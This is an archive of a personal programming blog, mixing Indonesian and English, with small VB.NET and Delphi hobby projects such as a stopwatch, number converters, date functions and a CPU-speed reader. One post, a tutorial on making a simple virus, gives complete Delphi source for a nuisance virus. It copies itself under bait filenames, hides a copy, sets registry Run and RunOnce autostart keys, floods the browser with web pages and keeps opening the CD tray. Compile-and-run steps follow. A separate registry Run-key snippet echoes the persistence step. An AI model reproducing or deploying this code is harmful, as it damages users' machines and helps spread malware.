Showing posts with label source code. Show all posts
Showing posts with label source code. Show all posts

Tuesday, December 21, 2010

Simple Stopwatch built in VB.NET [Open Source]

Stopwatch is a tool used to measure the length of time spent in the activity. Among others, the timing of testing tools that require time to millisecond accuracy in the laboratory, as well as on race neighborhood.

It was originally built for personal use when testing a device that relate to my daily work, but this time I hope can be useful not only for myself personally, as well as for others in need

Thefollowing is a stopwatch application interface  which is built using VB.Net, developed using Visual 2005, by using a form as interface design and equipped with several buttons and layout of the output value of the split time.

Dim startTime As DateTime
Private Sub BtnGo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnGo.Click
If (Timer.Enabled) Then
BtnGo.Text = "Start"
Timer.Stop()
Else
startTime = DateTime.Now()
BtnGo.Text = "Stop"
Timer.Start()
End If
End Sub


Private Sub Timer_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer.Tick
Dim span As TimeSpan = DateTime.Now.Subtract(startTime)
LabelAngka.Text = extZero(span.Hours.ToString) & ":" & extZero(span.Minutes.ToString) & ":" & _
extZero(span.Seconds.ToString)
LabelMilisecond.Text = span.Milliseconds
End Sub


Function extZero(ByVal binNum As String)
Dim ext As String = "0"
Dim HexToBin As String = ""
If binNum.Length < 2 Then Dim k As Integer = 1 Dim len As Integer = 2 - (binNum.Length + 1) For k = 1 To len ext = ext & "0" Next k HexToBin = ext + binNum ElseIf binNum.Length = 2 Then HexToBin = binNum End If Return HexToBin End Function Private Sub BtnClear_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClear.Click Timer.Enabled = False LabelAngka.Text = "00:00:00" LabelMilisecond.Text = "000" BtnGo.Text = "Start" MemoEdit1.Text = "" End Sub Private Sub BtnSplit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnSplit.Click Dim nil As String = LabelAngka.Text & "." & LabelMilisecond.Text Dim daftar As String = MemoEdit1.Text If daftar = "" Then daftar = nil ElseIf daftar.Length > 1 Then
daftar = daftar + vbNewLine + nil
End If
MemoEdit1.Text = daftar
End Sub

And above is the source code used in this application, there are several procedures and functions used in this application.
That's all from me, with hopes to be useful to others. Thank you:)


Thursday, December 2, 2010

Factorial Calculator using VB.Net

As I know, in mathematics, the factorial of n natural numbers is the result of multiplication of positive integers less than or equal to n. Factorial is written as n! and is called n factorial.
For example, 7! is worth 7 × 6 × 5 × 4 × 3 × 2 × 1 = 5040. The following is a list of factorial:

various ways used to facilitate this process, including the use of a calculating machine. among many calculating machines or can be called by the application, I will build a calculating machine using VB.Net programming language, reason, among others, language is relatively easy to understand and implement.

on interface design, users only need to enter the factorial value to be calculated, then this application will automatically calculate, and display the results directly.

on the programming side of the mathematical computation process is relatively easily understood and implemented.I hope this application can be useful and beneficial to readers. thank you:)
Read more for details and download the source code program the source code program can be download here


this is the interface design, users only need to enter the factorial value to be  calculated, then this application will automatically calculate, and display  the results directly.



Wednesday, December 1, 2010

Binary to Decimal Converter using VB.Net

This application was developed with the aim to convert binary format into a decimal numbers format, this simple and mini application was developed with VB programming language and using Visual Studio 2005.

binary to decimal number conversion application is based on the experience when I woke up also find references to the internet about this conversion code, starting from there I developed a counter application numbers and hexadecimal to binary conversion in accordance with our needs.

Read More to download this application,

this application can be download HERE

Hexadecimal to Binary Converter using VB.NET

This application was developed with the aim to convert numbers to hexadecimal format into a binary format, a simple application and the mini was developed with VB programming language and using Visual Studio 2005.

Hex to binary conversion application is based on the experience when I woke up also find references to the internet about this conversion code, I found it on the site visualbasiccode , starting from there I developed a counter application numbers and hexadecimal to binary conversion in accordance with our needs.

Read More to download this application,

this application can be download HERE

Tuesday, November 9, 2010

Aplikasi Konverter Satuan SI Sederhana Menggunakan VB.Net

Berdasar WIKI, definisi dari Sistem Satuan Internasional ini sendiri adalah "(nama aslinya dalam bahasa Perancis: Système International d'Unités atau SI) adalah sistem satuan atau besaran yang paling umum digunakan. Pada awalnya sistem ini merupakan sistem MKS, yaitu panjang (meter), massa (kilogram), dan waktu (detik/sekon). Sistem SI ini secara resmi digunakan di semua negara di dunia kecuali Amerika Serikat (yang menggunakan Sistem Imperial), Liberia, dan Myanmar.[1]

Dalam sistem SI terdapat 7 satuan dasar/pokok SI dan 2 satuan tanpa dimensi. Selain itu, dalam sistem SI terdapat standar awalan-awalan (prefix) yang dapat digunakan untuk penggandaan atau menurunkan satuan-satuan yang lain."

7 satuan dasar/pokok SI adalah sebagai berikut :
* Meter untuk panjang (m, l)
* Kilogram untuk massa (kg, m)
* Sekon untuk waktu (s, t)
* Ampere untuk arus listrik (A, i)
* Kelvin untuk suhu (K, T)
* mol untuk jumlah molekul (mol, n)
* Kandela untuk intensitas cahaya (cd, j)

dari data diatas, saya coba buat aplikasi sederhana untuk konversi data panjang yaitu satuan Meter, pada aplikasi ini terjadi pengalian maupun pembagian sederhana berdasarkan tingkatan level tangga dari gambar berikut,


dari gambar diatas, bisa diketahui bahwa apabila, nilai satuan mengalami downgrade level, maka akan dikalian 10 tiap kali turun, dan dibagi 10 pula untuk masing-masing upgrade level
berikut aplikasi yang saya bangun beserta interface dari aplikasinya,


gambar diatas adalah tatap muka utama dari aplikasi yang saya kembangkan, dihalaman itu terdapat 1 input yaitu, input nilai yang akan dikonversi, sedangkan untuk 2 buah dropdown disana adalah satuan awal nilai, dan satuan akhir hasil yang diinginkan


diatas adalah fungsi untuk menentukan range tangga, yang nantinya akan dimanfaatkan sebagai penghitung banyaknya jumlah pengali


sedangkan untuk gambar diatas adalah, fungsi untuk menentukan besaran pengalinya, dimana fungsi ini adalah turunan pemanfaatan dari fungsi sebelumnya.

sekian aplikasi mini, tiny, dan sederhana ini,hehe..
semoga dapat bermanfaat, DISINI. (Dalam Pengembangan) Wassalam :)

Thursday, October 28, 2010

Aplikasi Pencacah Bilangan Konversi Hex ke Binary menggunakan VB.NET

Aplikasi ini dikembangkan dengan tujuan untuk mengkonversi bilangan dengan format hexadesimal ke dalam bentuk format binary, aplikasi sederhana dan mini ini dikembangkan dengan bahasa program VB dan menggunakan Visual Studio 2005.

Aplikasi konversi hexa ke binary ini saya bangun berdasarkan pengalaman saat juga mencari referensi diinternet mengenai kode konversi ini, saya menemukannya di situs visualbasiccode, bertolak dari sana saya kembangkan menjadi aplikasi pencacah bilangan dan konversi hexa ke binary sesuai dengan kebutuhan saya.

berikut tampilan interface yang nantinya full/seluruh kode saya lampirkan agar bisa saling berbagi, pengalaman :)


pada gambar diatas adalah tampilan halaman aplikasi pencacah bilangan dan konversi hex ke bentuk binary,


untuk gambar diatas ini adalah contoh bilangan hexa yang akan dicacah lalu di konversi ke bentuk binary yang hasilnya bisa dilihat pada richtextbox yang juga ada pada gambar diatas,


sedangkan berikut gambar ini adalah code yang saya gunakan pada saat proses konversi dari hexa ke bentuk binary, kode ini saya dapatkan dari situs visualbasiccode,


untuk kode diatas adalah kode yang saya kembangkan sendiri yaitu, kode untuk menambahkah angka 0 (nol) pada hasil konversi binary, karena pada hasil konversi kode sebelumnya, nilai yang dihasilkan tidak sesuai dengan jumlah bit yang seharusnya yaitu 8 bit, maka apabila hasil konversi nilai hexa 2 yang seharusnya 10 maka akan dipenuhkan menjadi 00000010,


ini adalah gambar terakhir yang saya lampirkan, yaitu untuk memenggal atau mencacah bilangan hexa yang dikonversi per 2 digit, jadi jika ada bilangan hexa 01 02 maka, akan muncul di aplikasi hasil konversi masing-masing dari 2 digit yaitu konversi untuk 01 dan konversi untuk 02,

DISINI, Sekiranya cukup sekian share dari saya, semoga bermanfaat, terus berbagi selalu semangat, terima kasih untuk referensi kodenya dari visualbasiccode :)

Friday, March 19, 2010

Aplikasi Test Buta Warna (Ishihara) Menggunakan VB.Net

Terinspirasi dari pengalaman saya saat test masuk kerja pada satu perusahaan BUMN pada akhir Januari 2010 ini. Saat itu saya mencapai tahap hampir akhir dari rangkaian tahap-tahap lain sebelumnya. Tahap itu adalah test kesehatan, salah satu materi test kesehatan itu adalah test kesehatan mata.

Saat itu si dokter cantik (krena dokterny emng cew,klo cow ga mngkin kan cntik :p) memeriksa mata saya menggunakan senter untuk melihat dalam mata saya (ga tau jg apa sbnernya yg dlihat) yang pasti saat itu, jarak wajah si dokter itu hanya bberapa centimeter saja dari wajah saya (ampir nempel..hooo) deg-deg'an, maklum bukan muhrimnya,,hhe.

setelah itu, disuruh membaca huruf-huruf,
dokter brkata: "gmn, bisa membacanya?"(si dokter mnutup 1 mata saya dgn tngannya)
saya: "wah, ga bisa dok!"
dokter: "hmm..ternyata bahaya"(krena blm smpat 1 huruf pun saya bisa baca, mngkin dkira dokter saya buta huruf atau bgitu parahny sakit mata,,hoo)
saya: "iya dok, ga bisa kebaca sama sekali,,soalny tangan dokter jg mnutupi mata saya yg 1'nya lagi.. :p" :hammer:

Setelah itu baru test buta warna, dan dari itu kebayang coba bikin aplikasi buta warna sendiri. Begini interface sederhana dari aplikasi sederhana saya ini:


Aplikasi ini memanfaatkan gambar-gambar yang ada di Internet, saya download trus saya gunakan sebagai materi pengetesan.
Aplikasi ini juga saya lengkapi dengan kunci jawaban yang bisa digunakan dengan men-"check" menu "lihat kunci jawaban" yang ada dibagian kanan bawah aplikasi.


Juga terdapat tombol "Sebelumnya" dan "Berikutnya" untuk mengganti gambar-gambar yang akan ditampilkan, saya hanya menggunakan metode random untuk tombol "Berikutnya" dan menggunakan arraylist untuk tombol "Sebelumnya"


Aplikasi ini juga saya upload pada menu "My Shared Files" pada blogsite saya ini juga, jika mungkin sewaktu-waktu ada yang butuh dengan nama file "TestButaWarna.rar" hanya berupa file (.exe)-nya saja. Namun jika ada yang butuh sourcecodenya yang agak besar ukurannya, menyusul akan saya upload juga dengan nama file "TestButaWarna(All).rar". Semoga dapat bermanfaat, Terima kasih



Thursday, February 11, 2010

Calculator Mini Menggunakan VB.Net

Kalkulator adalah alat hitung elektronik yang membantu penggunanya untuk menemukan solusi perhitungan sederhana. Pada kesempatan kali ini, saya mencoba membuat sebuah aplikasi ringan tentang kalkulator mini. Kalkulator ini hanya mampu menyelesaikan perhitungan-perhitungan sederhana. Aplikasi kalkulator ini saya bangun menggunakan bahasa pemrograman VB.Net. Aplikasi kalkulator yang saya bangun memiliki tampilan halaman seperti ini:


Pada pemrogramannya, seluruh fungsi perhitungan saya letakkan pada modul. Sehingga kode pada halaman program hanya berupa fungsi untuk memanggil dan melakukan perintah perhitungan. Berikut adalah tampilan sebagian kode yang saya ambil dari modul (mdlTombol) yang berisi fungsi-fungsi perhitungan.


Source Code Aplikasi dapat didownload DISINI. Semoga contoh aplikasi berikut dapat bermanfaat bagi pembaca maupun penggunanya. Amin :D



Wednesday, January 13, 2010

Menentukan Nama Hari dengan Bahasa Indonesia pada VB.Net

Menentukan nama hari pada suatu tanggal tertentu menggunakan bahasa Indonesia, mungkin cara ini [coding program menggunakan VB.Net] bisa digunakan untuk kita-kita para newbiers :D. Algoritma pada program yang saya buat ini adalah sebagai berikut :
1. menentukan tanggal yang akan kita cari nama harinya [dalam bahasa Indonesia]


2. value dari tanggal tersebut berupa integer [kita pakai dayofweek] yang nanti kita akan cocokkan dengan nama hari yang ada menggunakan "case"


3. hasil pencocokan akan dikembalikan dalam format string [nama hari]


Source Code Aplikasi dapat didownload DISINI



Sunday, January 3, 2010

Menghitung Hari Libur pada VB.Net

Mumpung masih musim libur, iseng-iseng bikin fungsi pemrograman yang sebenarnya hanya memodifikasi fungsi yang pernah saya posting pada artikel sebelumnya "Menghitung Hari Kerja pada VB.Net". Fungsi kali ini hanya kebalikannya saja, yaitu menghitung Hari Libur. Terkadang fungsi juga digunakan saat-saat perhitungan jumlah masa suatu waktu yang kelak nantinya bermamfaat untuk penghitungan jumlah gaji(aplikasi penggajian), denda(aplikasi perpustakaan) atau apa saja. berikut adalah fungsinya yang saya bangun menggunakan bahasa pemrograman VB.Net yang didevelop menggunakan Visual Studio 2005:


Gambar diatas adalah fungsi yang akan menghitung jumlah hari libur (hanya hari sabtu dan minggu) pada suatu periode waktu yang ditentukan.


Dan untuk gambar diatas ini adalah terdiri atas 2 buah sub dengan penjelasan sebagai berikut :
1. sub Hitung: sebagai prosedur untuk memasukkan nilai (periode awal dan periode akhir) yang nantinya akan dihitung oleh fungsi GetHariLibur
2. sub DateTimePickerTglAkhir_ValueChanged: sebagai prosedur yang memanfaatkan event dari dateTimePickerTglAkhir, sehingga tiap kali berganti periode tanggal akhir, maka fungsi akan otomatis menghitung jumlah hari libur pada periode tersebut.


Berikut sedikit penjelasan singkat mengenai interface dan kegunaan dari aplikasi kecil diatas, semoga dapat bermanfaat :).

Terima Kasih.

Source Code Aplikasi dapat didownload DISINI



Thursday, December 31, 2009

Menghitung Hari Kerja pada VB.Net

Menghitung jumlah hari kerja adalah suatu hal yang kerap kali dipakai dalam bahasa pemrograman, untuk contoh kasus pada proses penentuan jumlah hari kerja seorang pekerja dalam suatu periode waktu atau untuk penghitungan lainnya sekedar share bagi yang butuh, berikut adalah contoh fungsinya pada VB.Net


Dalam penggunaannya dalam proses penghitungan, berikut adalah cara memanggil fungsi tersebut, dimana variabel hr akan mengambil nilai dari hasil perhitungan fungsi tersebut. Fungsi diatas GetHariKerja diatas bisa didownload di widget "My Shared Files" Blog ini dengan nama file "GetHariKerja.rar"



Tgl_kembaliDateEdit.DateTime ::: adalah nilai tanggal periode awal
Tgl_pengembalianDateEdit.DateTime ::: adalah nilai tanggal periode akhir

Source Code Aplikasi dapat didownload DISINI

Thursday, December 25, 2008

Cari tau Speed CPU lewat aplikasi buatan sendiri [Delphi Source]

ATTENTION FIRST::
Ini listing program sederhana banget kok
nama aplikasi : CPU Speed Info
deskripsi : mengetahui seberapa cepat CPU kamu
tanggal : 10 November 2007 (dah lama banget)

Source code::

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Timer1: TTimer;
Timer2: TTimer;
Edit2: TEdit;
ProgressBar1: TProgressBar;
Button1: TButton;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

function GetCPUSpeed: Double;

var
Form1: TForm1;

implementation

{$R *.dfm}
{FUNGSI INI YANG GUNANYA BUAT NGE-GET INFO SPEED CPU KAMU}
{PADA SATU WAKTU, TADINYA TOMBOL ITU GUNANYA UNTUK NGE-GET, TAPI AKU KASIH TIMER AJA}
{JADI SPEED OTOMATIS BERUBAH-UBAH SESUAI WKTU(/DETIK)}
function GetCPUSpeed: Double;
const
DelayTime = 500; // satuan waktu dalam milidetik
var
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: Integer;
begin
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

Sleep(10); // tunda selama 10 ms
asm
dw 310Fh
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;

SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000.0 * DelayTime);
end;

{PROCEDURE INI AMA YANG SATUNYA DIBAWAH GUNANYA UNTUK ENABLED-DISABLED TIMER}
{JADI PROSES NGE-GET INFO CPU SPEEDNYA OTMATIS TERUPDATE}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Edit2.Text:=TimeToStr(Time);
Edit1.Text := Format('%f MHz', [GetCPUSpeed]);
timer2.Enabled := true;
timer1.Enabled := false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
timer1.Enabled := true;
timer2.Enabled := false;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
begin
with ProgressBar1 do
begin
Min := 0;
Max := Format('%f MHz', [GetCPUSpeed]);
for i := Min to Max do
begin
Position := i;
end;
end;
end;

end.

Membuat file compile'annya:
1.Masuk delphi (aku pake Delphi 7) copy listing ini, yang auto create dari delphi kamu hapus semua
2.buat 1 project trus ga usah ada yg kamu ubah2, kecuali kamu add 2 buah timer + add 1 buah textedit cuma dicontoh ini aku buat 2, yang satunya untuk jam aja, slevbihnya kayak progressbar ama button, ga usah dibuat jg gpp
3.sebelum kamu add, kamu quote dlu yang di deklarasi Type untuk texteditnya ama timernya, klo udah baru di unquote lagi
4.km compile trus dapet dah, file .exe aplikasinya..
5.selesai, bisa langsung diaktifkan

Sunday, December 7, 2008

Cara Bikin Virus Sederhana Pakai Delphi

ATTENTION FIRST::
Ini virus jenis flooding dengan membuka halaman web secara terus menerus sampe menuhin cache momory + usil dengan buka tutup door dari cd/dvd-room kamu

Source code::

unit Unit1;

interface
{Deklarasiin library ShellAPI,Registry yang dipakai dimasukkan di USES ini}
{GUNANYA BIAR KITA BISA NGOTAK-ATIK REGISTRY}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);


private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
{{$R MySoundRes.RES}


procedure TForm1.FormCreate(Sender: TObject);
{DEKLARASI VARIABEL}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;


begin
{MEMBUAT FORM INVISIBILE}
Application.ShowMainForm := false;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
{BUAT FOLDER SEBAGAI ROOM'NYA VIRUS(FILE INDUK DISINI)}
mkdir(sysdir+'\runfold');
except
end;
try
{CUMA MENDUPLIKASI DIRI AJA DENGAN NAMA2 FILE SEPERTI DIBAWAH INI}
{TAPI KALO DIKLIK YA, VIRUSNYA AKTIF LAGI, BUAT NAMA YG MENARIK AJA, TERSERAH}
CopyFile(pchar(application.ExeName),PChar(windir+'\try now.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\elvis2005.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\my way.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\sinatra.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\burn dvd.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\spiderman2.avi.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\runfold\-NET-SERVICES-.exe'),true);
except
end;
end;

begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
{TAPI DI INVISIBLE}
SetFileAttributes(PChar(sysdir+'\runfold\-NET-SERVICES-.exe'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;

{MEN-DISABLE TASK MANAGER}
{VIRUS INI GA MAU DIMATIIN PAKE END TASKNYA TASK MENAGER}
{GIMANA NGGA, LA MAU MASUK AJA GA BISA}
try
{BUATNYA DI CURRENT USER, JADI KAMU MASIH BISA SELAMAT KALO MASUK SAFE MODE}
{KARENA TASK MANAGER DI imam MASIH BISA DIBUKA}
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey('Software', True);
regis.OpenKey('Microsoft', True);
regis.OpenKey('Windows', True);
regis.OpenKey('CurrentVersion', True);
regis.OpenKey('Policies', True);
regis.OpenKey('System', True);
regis.WriteString('DisableTaskMgr', '0'); {VALUE 0=NONAKTIF 1=AKTIF}
regis.CloseKey;
except
end;

{BUAT VIRUS INI DILOAD TIAP KALI KOMPUTER NYALA}
{YAITU DENGAN BUAT KEY DI REGISTER MEMANFAATKAN RUN(MSCONFIG-STARTUP) DAN RUNONCE}
{SUPAYA PROGRAM INI DILOAD TIAP KALI KOMPUTER NYALA}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg1.WriteString('.NET.',sysdir+'\runfold\-NET-SERVICES-.exe');
reg1.CloseKey;

reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',True) then
reg2.WriteString('.NET.',sysdir+'\runfold\-NET-SERVICES-.exe');
reg2.CloseKey;
except
end;
end;
end;

{PADA PROCEDURE DIBAWAH INI VIRUS DIKIT USIL YAITU DENGAN SEMBARI KITA}
{PUSING LIAT FLOODING YANG TERJADI DIDESKTOP, VIRUS INI JUGA BIKIN}
{CD-ROM KITA OPEN CLOSED TAK TERKENDALI..BISA2 SAMPE JEBOL}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
try
ShellExecute(0, 'open', 'www.muchlisworhkhouse.blogspot.com', nil, nil, SW_NORMAL);
mciSendString('Set cdaudio door open', nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
mciSendString('Set cdaudio door closed', nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
end;

end.


Membuat file compile'annya:
1.Masuk delphi (aku pake Delphi 7) copy listing ini, yang auto create dari delphi kamu hapus semua
2.buat 1 project trus ga usah ada yg kamu ubah2,kecuali kamu add 2 buah timer
3.sebelum kamu add, kamu quote dlu yang di deklarasi Type,klo udah baru di unquote lagi
4.km compile trus dapet dah, file .exe virusnya..
5.selesai, bisa langsung diaktifkan
6.klo ada yg ga jelas tanya aja

Moga bermanfaat!
Share ilmu yuk! Wink

Wednesday, November 28, 2007

Menulis Key pada Registry pake script pascal di Delphi

obegin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg1.WriteString('muchlis',sysdir+'\workhouse.exe');
reg1.CloseKey;
except
end;

jadi pake 'try' biar klo gagal program ga error,kita niat nulis key ini di '
Software\Microsoft\Windows\CurrentVersion\Run' dengan nama key sembarang,dsini saya pake nama 'muchlis',dengan nama file yg akan diload oleh 'Run' yaitu workhouse.exe...
udah,gtu doank,,kasih komen aj ke aq klo bingung..

Close CD-ROM pake script pascal di Delphi

sama aja kayak step-step yang udah saya jelaskan di Open CD-ROM,,bedanya sekarang bisa dilihat,klo yg buka set door opened,tapi skarang set door closed..
gampang kan..:)

procedure TForm1.Button2Click(Sender: TObject);
begin
mciSendString('Set cdaudio door closed', nil, 0, handle);
end;

Open CD-ROM pake script pascal di Delphi

jika kamu ingin membuka otomatis CD/DVD-ROM kamu menggunakan program(just click)kan enak?? ga perlu nunduk,berdiri,atau gimana pun hanya untuk membuka CD/DVD-ROM kamu,,
caranya:
1.install dulu Delphi versi berapa aj bisa..
2.buat program pake Delphi, buat satu tombol(command button)..klo dibawah ini nama tombolnya Button1Click..point'nya ada di string yg warna hijau..
3.simpan project-compile-build(*.exe)..udah,jadi deh..

procedure TForm1.Button1Click(Sender: TObject);
begin
mciSendString('Set cdaudio door open', nil, 0, handle);
end;